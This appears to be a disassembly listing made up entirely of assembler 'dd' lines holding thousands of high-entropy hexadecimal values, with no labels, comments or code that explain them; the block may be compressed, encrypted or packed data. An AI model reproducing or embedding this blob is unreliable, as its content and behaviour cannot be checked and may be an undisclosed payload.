		dd 0F7C2E057h, 0FD11FB30h, 7E847331h, 0E7C0A409h, 75F0DD03h
		dd 0E9C7FE04h, 6DD4D270h, 556581AAh, 0E0379D7Ah, 3D1C17BCh
		dd 634E7261h, 0DED6A86Ah, 0F43EAF89h, 25CE6257h, 76EBBD00h
		dd 0EC544A0Fh, 0CD81DDC9h, 21AC3CF2h, 65060C85h, 0BD68811Ch
		dd 48602A17h, 9B6EF368h, 41210072h, 0D5F75271h,	27584D66h
		dd 44E91813h, 0A72D62CAh, 4BFB451Dh, 0DDCCA542h, 7D8F570h
		dd 0C3C9EA04h, 45FAF729h, 30E4AB89h, 2CC96894h,	66201492h
		dd 560504CBh, 8012091Dh, 1C300147h, 5A77A5Ch, 0F415B13h
		dd 0A07D2583h, 9701B83Ch, 2D6182F1h, 0E0E357DBh, 0A305E801h
		dd 7A8FE007h, 84D6E999h, 39FB8B33h, 92B67E91h, 57812427h
		dd 3A427B68h, 0ED96B6B2h, 3D7F02FCh, 0D75B5870h, 0D11FF2E4h
		dd 68AFF6E9h, 1FE3B49Bh, 0BE01D9F4h, 0B83FAD97h, 855BA28Ch
		dd 8F50FBB2h, 387705A5h, 7BC0081Bh, 48C25FDFh, 92336764h
		dd 0AB2933Eh, 284FC3F8h, 0E7E80D1Ch, 59056BFh, 0AAE217E9h
		dd 26ECAD9Dh, 192E9F60h, 8F32D9FFh, 87E56AC7h, 1EAD816Bh
		dd 0EB5F8EB0h, 50C36559h, 8C68C5FEh, 8E246880h,	0C46C2B6Eh
		dd 0E79F4ADCh, 99257B7Eh, 0BF6C5590h, 0D1565C3Eh, 6F2A65E7h
		dd 59FB16B4h, 0DF3BAAEAh, 9DD398A4h, 6A11880h, 0E25B8841h
		dd 48B76828h, 830C328h,	0F7800206h, 0D7E9F60Ch,	1D5542E8h
		dd 1E765A68h, 495DCD60h, 3BDE2179h, 1EBF694h, 4C61C14Dh
		dd 0A3B40043h, 0D5EA4F27h, 8552BF95h, 296F1B09h, 0BA40758Ah
		dd 799D16B5h, 3DBE8D72h, 0EDA26B65h, 8079EB5Eh,	0AE04F2F1h
		dd 45F8C000h, 0EB891B94h, 31A1C83Ch, 769941C5h,	8F3915FCh
		dd 0BDCE3520h, 33F56EA0h, 7A60B560h, 4A8D880Ch,	0A197B2D3h
		dd 8D28584Fh, 5CB4ABD2h, 817C03FDh, 61DBE937h, 5FB8A32Fh
		dd 8F7D020Bh, 0D1CCAD1h, 0D96D5A00h, 0F68C2D28h, 884E621Dh
		dd 0B9001538h, 4B665DEDh, 4A4EA975h, 0B1F2FC4h,	617FEB0h
		dd 2098B8D1h, 0D7800A68h, 0E70A22EBh, 0BC896932h, 0A00E752Dh
		dd 0F9A01162h, 0C8031D4Ah, 904A4F31h, 0D4D361ABh, 14F40567h
		dd 0BD9F7BEEh, 6D0B45FCh, 53DAFE06h, 0CE661AF2h, 0C9D3D995h
		dd 0E9BA3057h, 3053419Dh, 0DF407FFCh, 25F40580h, 0AC742968h
		dd 0E9A6C1CAh, 8E3B44A8h, 24EC58DEh, 16109749h,	1D4F5925h
		dd 1290B12Ah, 32404A41h, 5BF24686h, 0D2495F25h,	47A3F032h
		dd 242ED195h, 3D1210CDh, 8B30985Ch, 1E5FBB0Ch, 8B4F6908h
		dd 0B6A0A049h, 5CCD763Eh, 6F0C35B0h, 8627F951h,	6079EEE3h
		dd 7B840C4Eh, 0D980265Ah, 611F245Ch, 8EF2023Dh,	0D9603B2Ah
		dd 4BBD055Dh, 296CA831h, 614F4ADBh, 3BF61043h, 8B76288Bh
		dd 7BF7957Fh, 0CAE1E4ADh, 53CE6F71h, 0C5207048h, 8A12294Eh
		dd 47F254AFh, 7724A004h, 0EBFE828h, 0C18107EFh,	6F953006h
		dd 227D2EA5h, 515B3589h, 5E36921Bh, 0EEDDE539h,	9668177Bh
		dd 0E672287Fh, 9D21184Eh, 0CB30C888h, 375B4B4Eh, 0B04B9555h
		dd 504AD63h, 362B1D40h,	59E1D881h, 813ED8h, 8C6755F6h
		dd 11B8E90Ch, 7FE66BC9h, 3AFF2CA9h, 5F364108h, 0A806F46Ah
		dd 53A5A15Fh, 0B46A7DDDh, 71F8F3F6h, 0C7F0F33h,	59FE95Fh
		dd 10E1E3F0h, 14AFA6Ah,	388464C7h, 0FF2AA4E9h, 52AFB352h
		dd 0ACA6A45Dh, 5D4D8B9Fh, 0E9063047h, 3792B51h,	162EC5C2h
		dd 4EB60147h, 0A2560882h, 445E3E02h, 80F8875h, 531D8A20h
		dd 0F7412C67h, 6D8668DEh, 1A3B306Bh, 305B8C3Eh,	885D2A5h
		dd 5265CFE9h, 88B2AFC4h, 1A720496h, 0C4AD0E79h,	0F8F85DE0h
		dd 0AC65D4B7h, 6EF84A5Ch, 0EB202508h, 20B2E94Fh, 7D390DB4h
		dd 0FB5F5FBAh, 0A9F81024h, 2464411Ah, 27BDE35Fh, 0BBDEE352h
		dd 8D5B64EFh, 0D1DD6ED0h, 0E58102EDh, 1AD50E68h, 34E8BC40h
		dd 0E9769109h, 0C2F42B40h, 0FA215D19h, 7ADE94F5h, 0F56AB7E1h
		dd 18A82E7Ah, 50785AE2h, 0FEE95116h, 0B5406CA0h, 0C06EEC70h
		dd 0C407AFAAh, 6802749Bh, 187559CBh, 0B3C3115h,	2E96582h
		dd 2D5EE158h, 17B813D5h, 693A0D03h, 0AFE85A8Bh,	705BF3D4h
		dd 14EF1CD0h, 2E10045Bh, 260CCE9h, 0DFCF295Ch, 2E5FF0C1h
		dd 680E78B3h, 0BE16759Bh, 785800CAh, 0C1016E20h, 685005EBh
		dd 5EFE2AADh, 0B4BB0933h, 81BB39F7h, 2528E4F0h,	0C2F70E9Fh
		dd 0C080AD9h, 0CE529E09h, 0D3F70BD3h, 0F025343h, 8BA011B6h
		dd 4F5B0710h, 58301F94h, 5B558C27h, 0C000BA99h,	0E6040CC3h
		dd 0EB871B4Ah, 4C4A0645h, 109042EBh, 0C640796Dh, 0BB12BF1Bh
		dd 8BBF31DBh, 76C52FB6h, 2F7EA6F6h, 70AF2354h, 91D02086h
		dd 2DF8D1BDh, 7F835822h, 0E044D455h, 365F95C3h,	6FF5154Fh
		dd 0F7C30804h, 4B34F6A1h, 0E5C592B1h, 0F8EEFAAh, 3C7E48FEh
		dd 0E7106FC8h, 0A96809D3h, 8005790Dh, 63AE50C3h, 67B223E9h
		dd 17EF5858h, 83494BADh, 48A56FAh, 0C0FE7095h, 2AA9F13Dh
		dd 7297EF27h, 57E8D95Bh, 0D0B062CDh, 2E5C00ECh,	0ECE932A3h
		dd 29CDB755h, 4FEF32Fh,	0FB2A6856h, 5A0764A3h, 851A1B58h
		dd 8EC282EEh, 0D096DD09h, 16C55B9Dh, 82DDC441h,	87090E97h
		dd 37076F3Ch, 20046BEFh, 3E1BBD5Dh, 0B229FA87h,	0F286129Fh
		dd 0E3B04EAh, 0EEC10556h, 1C679C0h, 10BB3F53h, 1079DF12h
		dd 0AA779F0Bh, 897C5FA6h, 68335A42h, 128FEBC4h,	17D166Ah
		dd 0D8442E12h, 0CCD43F19h, 0FD5B0809h, 76087C2Bh, 1E56A5C7h
		dd 8FF87BE4h, 51874A31h, 0EC0CA88h, 0CF5E35DEh,	0BA47AFA4h
		dd 0FBBF5B7Eh, 0B414661Bh, 8A14EA95h, 160E0090h, 0EFD8BD55h
		dd 54BAEDFDh, 14CE0079h, 6CD0CB81h, 0C2DE0A8Fh,	78856BC4h
		dd 6DB9493h, 6EFD5114h,	7509508Ah, 565FCB3Ch, 3F08A015h
		dd 80CC295Bh, 4ADBCA10h, 0C574D7BEh, 7B87A1CBh,	18814B6h
		dd 6D10D5E9h, 929D8D76h, 9D587F0Eh, 694A51BFh, 7EDE82DFh
		dd 0E1C8A2B5h, 0BA3E195h, 961DF2ECh, 5BBAE0ECh,	2E48857Eh
		dd 199A0019h, 0FA295EDBh, 0D5D27E9h, 0A96F0DF1h, 7FCD832h
		dd 0F43483BAh, 0B8F5A561h, 8CB9032Bh, 0D11F0D0Fh, 14842E2Dh
		dd 0BFCCF380h, 27371E0Bh, 0C2B259C9h, 0A5AA45F8h, 7E878955h
		dd 68EEEC94h, 3E4BD60Ah, 84E97F72h, 68029706h, 187518DFh
		dd 0D0BC8D4h, 10E92D4Ch, 12A233A9h, 0A2BEC3B3h,	29E19E97h
		dd 8E68C6C1h, 902279C5h, 976B4FF5h, 0C22CB344h,	0AEEE171Ch
		dd 0F7AB2789h, 0BE0B0B02h, 10797423h, 4EB96145h, 0A438F6E9h
		dd 0EF0E80C0h, 0B9B2CF0h, 10002F8h, 9FC0B6Dh, 0CE0CAB09h
		dd 0D789249Ch, 7B780CEAh, 0C2E4D055h, 0A762C3F2h, 0DF875E12h
		dd 849ADFE5h, 99B4404Fh, 641A326Ch, 5D053F36h, 2B37D9ABh
		dd 887F0102h, 5940FFD1h, 0CF27FE58h, 7DD47866h,	0B01B989Bh
		dd 0CC65978Eh, 4EFC081h, 6E70DFF6h, 0D80FBF33h,	0C5A7DD0Eh
		dd 89F58306h, 8860EDDAh, 7B97F7A4h, 0EF50344Bh,	7B9D3444h
		dd 9F9BD9BBh, 64965EE3h, 0B006C6h, 0C68001B6h, 2EEC0A0h
		dd 9CEFE2Dh, 0DC6E04D7h, 0F88BEF16h, 20F66627h,	0D7CDC362h
		dd 0F7FC999Ah, 90770B10h, 74306F0Ah, 0CB224193h, 61C0366Ch
		dd 0B23F2071h, 6B704519h, 9F323B76h, 2500B95Ah,	9705D15Fh
		dd 6892EF66h, 128D5620h, 64B2AE5Fh, 2B15E9B0h, 0B79ABDh
		dd 0CF8002BBh, 1106B5ABh, 0D19CB0FDh, 3128B901h, 87617157h
		dd 98AE6EE8h, 7CC9058Ch, 83D3922h, 680B40B6h, 501AD755h
		dd 0BA037E40h, 0D3BD80h, 0BB2E635Fh, 11ED1C94h,	9D0904BCh
		dd 5578A94Dh, 358FE4E0h
		dd 3BD7234Ch, 0EA0609EFh, 3F7B85C0h, 0C03624BEh, 7B68054Ch
		dd 2D994049h, 0B9B1000Ah, 4C5D6396h, 6402CF36h,	29D06B1Ah
		dd 0B3D120FFh, 0FC27A537h, 0FEBE4953h, 0BA946885h, 9D547CCCh
		dd 0FFEB695Eh, 3D4FBA14h, 0CCFBCF17h, 2B4EAAF8h, 604CD3A2h
		dd 6AA35527h, 26C04C76h, 4198E8D1h, 2441F14Eh, 67692954h
		dd 178B4E60h, 0BF33D32Dh, 81502821h, 1E6E9081h,	0A05E6577h
		dd 584E07D0h, 422727ECh, 0E724C172h, 0DF0F7105h, 0C5A4928h
		dd 901E10ADh, 127AC8C1h, 69BAED81h, 0DA414B3Ah,	813375DBh
		dd 0C0195A78h, 6852FD44h, 8BFB0A64h, 0C06BA2EAh, 0D58BE56h
		dd 76304C94h, 0C9222907h, 36E6602Ah, 0C12EA64h,	0E3EEBB68h
		dd 0FF2113DBh, 659585B6h, 8DE95781h, 3EF65025h,	7009662Fh
		dd 5E59CF89h, 0A15712DAh, 98D6D941h, 5F50FF0Bh,	50CF0681h
		dd 0EA576F4Fh, 81633829h, 0D2485B05h, 0E537A1AEh, 2379D0F5h
		dd 0E452830h, 0B5EC7D7h, 2795E90Ch, 680521F9h, 0DCCD6B7Ah
		dd 24A20AAh, 53515A59h,	6377C388h, 0EB0C26BEh, 0E73FB483h
		dd 0E65C8B33h, 41C3B9D3h, 4C202768h, 0DB01B1A4h, 0E90DC180h
		dd 442F2536h, 99666388h, 0B6093EFAh, 6A09A98h, 4B552286h
		dd 59F4A0D0h, 55A904BFh, 3F6789AAh, 0BEB26F0h, 29AD8C57h
		dd 0FEA52865h, 315671ABh, 0A9577E74h, 0E9E990ABh, 0F4AA519Eh
		dd 0F139F44h, 8515C8B7h, 38BB027Dh, 551318A8h, 8E001B89h
		dd 4EB95C4Fh, 20C074B5h, 95A0B08h, 4E551C5Fh, 880FB306h
		dd 873D0916h, 0B72DBECAh, 1AEAC08Eh, 0BD3A1424h, 74792CF8h
		dd 8C4F489Dh, 4952935Ch, 23AAB0D7h, 215E8164h, 4E822987h
		dd 14842ACh, 93875201h,	9EC53117h, 0C8EAE93Bh, 2FA06C97h
		dd 0C1D43E6Dh, 1FC825C7h, 278AC85Dh, 86635625h,	0C88B08BBh
		dd 48147AF2h, 2D94136h,	0E31D0CE7h, 8AA616Eh, 5C6C80C4h
		dd 7310DF01h, 26D14CCCh, 83179910h, 43822137h, 0B981A047h
		dd 24180B82h, 59494Dh, 1EA7F96Ah, 275A0CE9h, 955EEA8Ch
		dd 0E9E297F4h, 17E458CBh, 0BB2DE829h, 7601D352h, 7E600582h
		dd 0D558EA3Ah, 247858CEh, 0F1C0D92h, 895DF843h,	0BA88DF31h
		dd 0AE5F968Bh, 0D8E29977h, 90E9EE09h, 98A6B4D8h, 0D509ABA7h
		dd 0C16350FAh, 0B9203549h, 0BAEC4C02h, 0FA4E979Bh, 395A649Fh
		dd 0B4E5FACh, 0CC5F25CDh, 0E16E9C8Ah, 524C5DE9h, 474ED9FFh
		dd 49ECC107h, 0C2EE28F1h, 0A048A9E9h, 8BBA52C5h, 58866B03h
		dd 7DF80B55h, 0C09816C0h, 8A3D3C26h, 0A2034905h, 88F5B109h
		dd 5E090862h, 5330D789h, 2B20E950h, 0FD7904Eh, 75EB28A6h
		dd 0FAF04965h, 776F2D32h, 57E44BFCh, 0CFCF08EBh, 5E0E6805h
		dd 0E21637BFh, 0F6557C9Fh, 0EEDF52E6h, 24E91202h, 5B99320Ah
		dd 0F9AA5C5Dh, 274328D1h, 7ACA5F42h, 7B04F5DAh,	5D4FD558h
		dd 9269F2BFh, 4E96CAABh, 159FCBFEh, 977B070Fh, 0E9915F8h
		dd 738241A4h, 0EBB800A7h, 4590006Ah, 6F951905h,	0C30A01BAh
		dd 0B303F0E9h, 2A12C190h, 0D9870229h, 64D4D81Fh, 78EE5403h
		dd 2FBCEC6Ch, 973E700h,	84E961DCh, 50E7DE4Ah, 3BCB934Eh
		dd 6B8AF10h, 0B76EE44Fh, 0C7BF6460h, 12B523D3h,	0F8F80986h
		dd 0C1083AC2h, 5214443Fh, 22B90058h, 0B4433249h, 8EF10B18h
		dd 21A58555h, 1FF818A4h, 39269D51h, 1CEEE025h, 0C8E170E1h
		dd 0BE8C809Dh, 7ACF369Ah, 3BF1270Bh, 6816EAECh,	95A307E2h
		dd 0CF43C802h, 547D5D60h, 0AEFA66Ah, 5381D738h,	2BB647D9h
		dd 68CA2CFAh, 0F4732125h, 7B566010h, 58583AEAh,	0B8F8F546h
		dd 0AFC0B01h, 3E8AADE9h, 0CDAFFE2h, 0D0119560h,	0C1C21494h
		dd 2440AC7Bh, 0CC6E5F6Ch, 494D091Fh, 34208403h,	0E0DD5909h
		dd 0BDF2F0D7h, 2F3DCAFBh, 45B1C1A0h, 2027747Ch,	60B34B60h
		dd 685A83C9h, 5A49689Dh, 0FF71241Bh, 90558A2Ch,	3209E43Dh
		dd 1748411Ch, 0F5A726DBh, 3618CA23h, 7705122Dh,	81FF20Ah
		dd 0D227F32Ch, 359230DFh, 3D18EF45h, 78128A27h,	4568133Bh
		dd 83920162h, 0F06C653Ah, 31186DE1h, 0C78A7B91h, 9035FE36h
		dd 0EF5C978Eh, 5904E90Bh, 9674B1D7h, 7F5F0221h,	4F1F820h
		dd 565BE55Eh, 20626616h, 62DE4AE1h, 0C22CDC3Ch,	1A458438h
		dd 0FD7BFD3Dh, 2F2D25F9h, 0CCB5CAECh, 0B84EE5F1h, 2BB721AAh
		dd 84B23F59h, 0DDD6D389h, 0EB725425h, 5786A075h, 13816850h
		dd 0A90AA74Ah, 4EB186D4h, 61BF093Ch, 31038954h,	5EE908E7h
		dd 83FD549Fh, 51FF50FEh, 0E4511E05h, 2DF8F029h,	150A0ED6h
		dd 0F680CC26h, 837F9D09h, 0A5A89F31h, 2E9C2453h, 0B0D29779h
		dd 0FCEB058Eh, 61FF2015h, 0E90701CDh, 0C02F942Eh, 0FA0C0489h
		dd 0E0FA9504h, 0A873E6C0h, 5113E8ECh, 441F69B5h, 8951FBEDh
		dd 9977B3ECh, 617E914Ch, 4CA509D8h, 0F93901C7h,	59B1E588h
		dd 0C8C1E20Bh, 4B310C21h, 7E1BB0C8h, 0FD25519Ch, 8449AAE5h
		dd 0F94483D6h, 8078C55Fh, 0CA22EB2Bh, 0AA0F5Eh,	506C347h
		dd 4AB7592Eh, 0A00808CBh, 9FEC8944h, 953CBB5Fh,	1583B5DAh
		dd 0ABBA9D2Ch, 0D72FA17Ch, 0F4973494h, 0D5A9CF45h, 0BADFD4A9h
		dd 0F0C309ADh, 7CE0BDB2h, 7C4EBD34h, 0A8704ED2h, 0F2695BBh
		dd 503A908h, 0AE77C068h, 0C550DF8Ah, 0DE332554h, 0D8257DD4h
		dd 755995B8h, 25AD1963h, 93DCC2EFh, 3494FFA7h, 70497697h
		dd 5E59C4E9h, 92D6E98h,	8BAF752Dh, 61E7CEE6h, 56A3C607h
		dd 616F3F64h, 7C4B5EAFh, 18D1E6F0h, 241A3422h, 0DB480615h
		dd 0CCB910FAh, 408C892Eh, 5666354Dh, 0A4C34C1h,	11702A48h
		dd 0E5087640h, 70B2238h, 9892742Fh, 7B04080Bh, 0D9F7050Eh
		dd 5AB7D180h, 0AE2BEB64h, 76ED200h, 0EEE91874h,	4B84B15Ch
		dd 2EB5618h, 0FA685180h, 4EB32407h, 0B9280C63h,	3D0BF7EBh
		dd 0B436Eh, 0C00C0FFCh,	8818C75Eh, 0AE2FD55Fh, 0F44A9D82h
		dd 19F30838h, 13C27C2Fh, 1289A603h, 0D1E80E4Fh,	4EB8099Eh
		dd 0DFA831FDh, 4ED01674h, 6552AFEBh, 0F8647DE8h, 558000Fh
		dd 75454CD9h, 76F8E757h, 35400160h, 5F502B5Dh, 90412F29h
		dd 66B34661h, 6E9E53Ah,	0E50E1C08h, 49036807h, 6846D61Ah
		dd 39BB00AAh, 7DBF2531h, 5BBA541Dh, 0D11C80EEh,	0D69F68C9h
		dd 78026F7Eh, 1341FC43h, 0E8A66553h, 1C95231Dh,	0F5D6EDBDh
		dd 65695DD9h, 0A5027B1h, 0EC506C40h, 0CEDB544Ch, 994A09F5h
		dd 2E5DEDDAh, 12C6E881h, 7B3B045Fh, 7A21AB1Ch, 0D86D0A68h
		dd 0EFEC7412h, 0AE4A4BE2h, 608316C8h, 3BC661D8h, 0A81319AFh
		dd 1791F529h, 0B90065EAh, 0F42C234Fh, 0F51D783Eh, 0D247948Eh
		dd 8818E4F8h, 0B001C673h, 96F5F12h, 0BA3350B0h,	4AD5BEFh
		dd 0ABDB7E45h, 620013B7h, 0E9770112h, 5E957D97h, 3BACBE30h
		dd 0D4346FBEh, 0C730B602h, 0CC7D017Fh, 0D13FFD1Ah, 5AF35FEh
		dd 70CD8CAEh, 0B0591540h, 0C2FA4F47h, 6AD75BEFh, 7250D172h
		dd 184E9172h, 3868E028h, 0BF4E16E3h, 0C0271BD9h, 0B774A915h
		dd 4870F602h, 44753638h, 0B3EE0B47h, 605559F2h,	28BE5653h
		dd 68D7347Fh, 88B1229h,	0F63F9FF1h, 678DD92Fh, 2785207Ah
		dd 2326985h, 2A8A6C55h,	0F05942F2h, 4F65E227h, 0FD6C9C06h
		dd 37CFE82h, 39880D73h,	821C0C38h, 3AE97AEAh, 87D549F4h
		dd 275475EEh, 0CC3D68C3h, 10378EEFh, 0FF4BC34Ah, 0E1D97E71h
		dd 0CE74913Fh, 83CD6F59h, 6078C8FDh, 7C77213Bh,	0A584A591h
		dd 20589DDh, 0FD08C6B7h, 0F92164C0h, 640DEBAh, 394F04B3h
		dd 0C2CF012Eh, 4F4B5A1h
		dd 33AC742h, 1CF1C331h,	0EED83B6Ah, 0BA6C5314h,	417B7150h
		dd 0EC564016h, 524EA529h, 0E0EBC1EFh, 2B4D254Ah, 4D7A6EACh
		dd 5F3B7AFBh, 8E8F597Bh, 2C53AE15h, 0B505D848h,	0E94E935Fh
		dd 5FB93E4h, 800F7018h,	9749C222h, 0E936A10Fh, 0B043DB8Ah
		dd 5EB1685Dh, 457F624Fh, 45FD16CAh, 6B7789BDh, 589245D9h
		dd 0C898F4FEh, 23B0FEFAh, 2F06B53Ch, 0F7C6CAC1h, 6E68E248h
		dd 0F84B56h, 32A73EB4h,	2E334405h, 0A0E760CBh, 0BAE91A07h
		dd 15403209h, 6752B468h, 25F03C20h, 9AEFE0EDh, 9A435933h
		dd 0A3194B00h, 0E9585562h, 56D7A22Fh, 291260C6h, 0B9000464h
		dd 686C3B15h, 4AE9D131h, 164B852Ch, 0F387FBB9h,	0DCB3D0B4h
		dd 26BBAD40h, 919DF30h,	65204888h, 6BB519B9h, 4EEA5B4Ah
		dd 2AE5EFC2h, 0C2B509CBh, 0FE8AEC56h, 0A0BBE77Bh, 4B07F43Dh
		dd 809FE36Bh, 12B4CCB6h, 4BC42D80h, 2A3065F6h, 2F68CFFEh
		dd 68E670A6h, 0EC80AA07h, 0E932308Bh, 0DFAB6A93h, 0AA20F596h
		dd 0D25A612Eh, 609D2774h, 2577F2EFh, 0D5151425h, 1D50912h
		dd 344564C2h, 95E33361h, 12E90802h, 81EE563Eh, 8870ABE1h
		dd 0F84B7137h, 0D3B77863h, 1342A439h, 5EFEAC33h, 0AEF1C9B9h
		dd 685501F2h, 7BBF08F4h, 0C1EE2938h, 873F16A8h,	65DF6B95h
		dd 68DF251Ch, 67385E58h, 5241EE46h, 46D53381h, 27E9189Ah
		dd 0DF045435h, 5B75A5E4h, 0D9016E77h, 0E991B652h, 927ACA7Ch
		dd 9F77567Eh, 84661345h, 4B82FC63h, 5E249ABBh, 0A4685100h
		dd 4E6C704Eh, 0AD93AF5Ah, 3BC00C5Eh, 0EAC48943h, 73340A5Ch
		dd 0EFC9E91Ah, 0DBC9779Eh, 0BDA27413h, 3643690Fh, 7E714E62h
		dd 0C29ACDBDh, 57FEFDEBh, 0CD717722h, 26233B77h, 40602C16h
		dd 43206E97h, 7424EF83h, 862FB3BFh, 2EF70C10h, 3D0C9BFh
		dd 501C683Ch, 5A9B2117h, 0BD8EDBCCh, 83EC1709h,	5751869Ch
		dd 4142AA30h, 40912E23h, 0B32B1AA4h, 0E7681D27h, 8FBB4BB8h
		dd 885009F8h, 32275D0h,	0E91805A8h, 44809F7Ah, 0D6F6C688h
		dd 5A7EF0E8h, 0BBB23702h, 71DCBEE9h, 9D712403h,	0E14667DAh
		dd 5C4D9A0Bh, 17027716h, 797F8B3Eh, 1284C9D1h, 0A5680241h
		dd 5653A503h, 7C33C282h, 3B85085Eh, 77B95109h, 3A2961C1h
		dd 59A10FBCh, 0FFD43A2Dh, 7CAF78C0h, 6A054C90h,	0EFBB4432h
		dd 0AD9071FDh, 79D94A90h, 16DE0782h, 3AE8AEE4h,	0D4138338h
		dd 21470451h, 0EB8907A1h, 0A92DF27h, 55205D47h,	7C73235Eh
		dd 552F8997h, 0AFD94C3Bh, 5E3C20FCh, 7C00924h, 0EFF7A712h
		dd 0EF3DC55Ah, 0F6E9FB42h, 8D5A5FC5h, 15629EF0h, 0DD05D811h
		dd 0F42AEF7Ah, 66F8DEF6h, 0C3865B17h, 28E020FEh, 85A12CC8h
		dd 0DF846E77h, 2848ABFh, 8868E1F7h, 58C76671h, 53107550h
		dd 0DFF84FFCh, 22E0D3B1h, 0D9FCD334h, 0EA7FD400h, 45C2E931h
		dd 2DE4C39Ch, 0E984B0AFh, 8575702Ah, 0F016C14Bh, 19185FBCh
		dd 0E0C378B9h, 26E27518h, 27318F0Ch, 0A81EA8h, 120C3408h
		dd 0B2EEBC14h, 41CE6A32h, 0B22A3736h, 8501D370h, 1C83120Ah
		dd 7873C6D8h, 0F901710Bh, 0B714EF20h, 0A66F2C71h, 3B5A9931h
		dd 0C4A55542h, 0CC598105h, 6A416325h, 794AE201h, 0C5E08103h
		dd 6D60232Fh, 0FBC9C0F0h, 905D9548h, 0BF981637h, 1C4CEF2Fh
		dd 0A49FB1C1h, 0A7BF346Fh, 1604D23Fh, 0DAEC1660h, 0D528C2A4h
		dd 2D016C50h, 1DCE05AFh, 82D6F829h, 6865E907h, 1614BD79h
		dd 0E04E0370h, 8BB7B29Fh, 8CC55FACh, 2D3EE208h,	92BC9F5Ch
		dd 48D91F38h, 5D5B6242h, 1A2F2A7Ah, 2D806607h, 1F79BCBFh
		dd 370F439Ch, 4B5CA62Bh, 0F961BF1Ah, 60E46B21h,	0D96916A9h
		dd 40E0076Ch, 0D2DD2908h, 88A50B5Ch, 2300A6BCh,	49910A61h
		dd 74CC176h, 52860416h,	73F00C98h, 5AB3035h, 0FE7E490Ch
		dd 0F2213805h, 33B095E9h, 706A0BBAh, 0E50028E2h, 203649A8h
		dd 1FD12926h, 0E9120820h, 0B752B4B5h, 3E50B5EEh, 0EA39D329h
		dd 0EBED8D3h, 0EAF82B4Bh, 0B6B7B4C0h, 0E64E28D7h, 0C95F16A7h
		dd 41D48B7Eh, 89960F40h, 0A7E6F9F2h, 0CA7E80F7h, 77FA5406h
		dd 0C7E91628h, 0D0C8AA45h, 0F7DD4C31h, 0EBD1C4D2h, 0BAC4BDCAh
		dd 519DAA10h, 1622FDEDh, 0D5FEB27h, 0AA2A0C7Ch,	0CC836B17h
		dd 0D4F9A588h, 8F1B0A13h, 7F681741h, 638744BAh,	60A01320h
		dd 5DB2383Dh, 0F65BDA0Eh, 0F3CA8063h, 0C07FF298h, 5707E227h
		dd 0FF12B245h, 143B370Ch, 0F65E9846h, 0E2C006Ch, 933ED81h
		dd 0E92408F5h, 5F87C12Dh, 0F539FB01h, 16317C16h, 6B79B4Fh
		dd 70F70101h, 5E22881h,	7EDE7165h, 685FBAECh, 6C1EE989h
		dd 7C2FFEFAh, 0F5E9D1C9h, 0D18B6B7Fh, 97022550h, 6892A1DFh
		dd 0ED330FB0h, 8E89553Ch, 0D0835E76h, 271CE8F5h, 5727399Dh
		dd 1C546A9Eh, 0C9F730BCh, 0F60887E8h, 508086D8h, 7704B2B0h
		dd 34FFB0BAh, 0AA2C2FC6h, 68BB5E84h, 0CB404C26h, 0E590B05h
		dd 0D9042827h, 908CABF2h, 0A4EDF5A5h, 910C6EAh,	483D290h
		dd 977199DDh, 0C9CB25F7h, 0CC7D2C9Ah, 5EF2270Fh, 570E327Fh
		dd 655DCA09h, 487549FAh, 0A3F8C648h, 0AD5E04D1h, 0BA2FDF34h
		dd 7A89C100h, 60ABE930h, 0EBEEF323h, 5848F263h,	9EC90430h
		dd 32C0315Fh, 1652536Dh, 41EE2910h, 6C2ED89Dh, 3CD06A4Dh
		dd 1D2541E7h, 0A4C147CBh, 226B090Eh, 0EFE740D6h, 0B94017CFh
		dd 0C25556BEh, 0E6C1185Dh, 6608005h, 0E966A204h, 3F8BBE25h
		dd 4B4FC34Bh, 0CA888E1Ch, 0A25AD78Eh, 75595BF8h, 0F86624E1h
		dd 3025C7B2h, 0E97348D1h, 0C8155F2Fh, 0E8A83635h, 7E9D505Fh
		dd 0E91256A2h, 0ADF228BCh, 953EF640h, 5C45E830h, 0F6D8F283h
		dd 0CC800E01h, 1C4C9BCh, 0C14CAED7h, 6719E96Ah,	162F6A64h
		dd 0F17AE25Eh, 0BE1E050h, 0E13C322Dh, 0AA3A18F9h, 0A860AC45h
		dd 2FE15090h, 0D05F5A02h, 1470725h, 0F3077076h,	16E755B8h
		dd 0E985CBC3h, 0C835FEEh, 71DB38AAh, 0EBEFEA00h, 9CE98D6Dh
		dd 9D9DB23Ch, 5C2D047Eh, 60817F2h, 7E2C8F04h, 8BE95F49h
		dd 0BFAF7898h, 0BFA25045h, 0D3762970h, 0CCAB5A4Fh, 0C297D7F3h
		dd 0E6655792h, 0F3C0183Fh, 33805A57h, 0AE0644CFh, 888CC7B0h
		dd 87C2FD4Fh, 58DD09A7h, 0B8034A59h, 257375FCh,	1331F348h
		dd 2DFEB4D0h, 32A564E9h, 0B621301h, 0E903E5C1h,	0B26BC3DDh
		dd 4F94D045h, 0E75244EAh, 0C7A2FE46h, 0B8FE24Ah, 51FEF715h
		dd 86A73C21h, 0E62DD3E0h, 8A56EF16h, 0FE9C4B81h, 0F5012A89h
		dd 5DEE6B80h, 761E582Dh, 0F0C23480h, 0FC22E953h, 967727BCh
		dd 84934D93h, 80DF5A2Fh, 9BBCF3F8h, 53FA01D6h, 0A978B1BBh
		dd 0DEC67132h, 0AEEE8000h, 51CE3FFEh, 0A7022AFh, 23EDC997h
		dd 965A069Eh, 0B70F80A7h, 0E748C0E0h, 0FFEF1756h, 0C42650FEh
		dd 0C60FB83Dh, 587B2891h, 0BE845BAAh, 0D6A0EA90h, 107B8BF3h
		dd 0BEFFE5A3h, 0A7EF61Fh, 29CECB5Fh, 0BC5F3C27h, 13C4F54h
		dd 0C617F1F7h, 6E9D87Ch, 65AF334Ah, 0B7F2AF18h,	10D5E90Ch
		dd 0E65BD10Ch, 48FEDF41h, 32FC8A51h, 8D68B730h,	3EA92A54h
		dd 6E5E452h, 0F82ECA25h, 0F91B0946h, 2775D135h,	3DE1E965h
		dd 506E07D5h, 0FA4C08DBh, 5F513E2Fh, 0DA875B0Bh, 49687652h
		dd 0F510A51Dh, 4EED404Bh, 15595640h, 450DB868h,	0BCDA277Eh
		dd 781BCB19h, 0CF88C708h, 2BC2FA24h, 0AF45570Fh, 0F8106FACh
		dd 5AF0300Ah, 0FE7000C6h, 96C180C9h, 12CAD89Dh,	0B0301D2Ch
		dd 8FA1F6CBh, 68003590h, 3FA4B02h, 0DB055DCAh, 0F51125A1h
		dd 83C20C8h, 0E004542Dh
		dd 147DBEA6h, 0D74362F7h, 1D41FB04h, 790FE76h, 393915C7h
		dd 0CBE92Eh, 5A7B8BAh, 487B4E65h, 4619526h, 50515380h
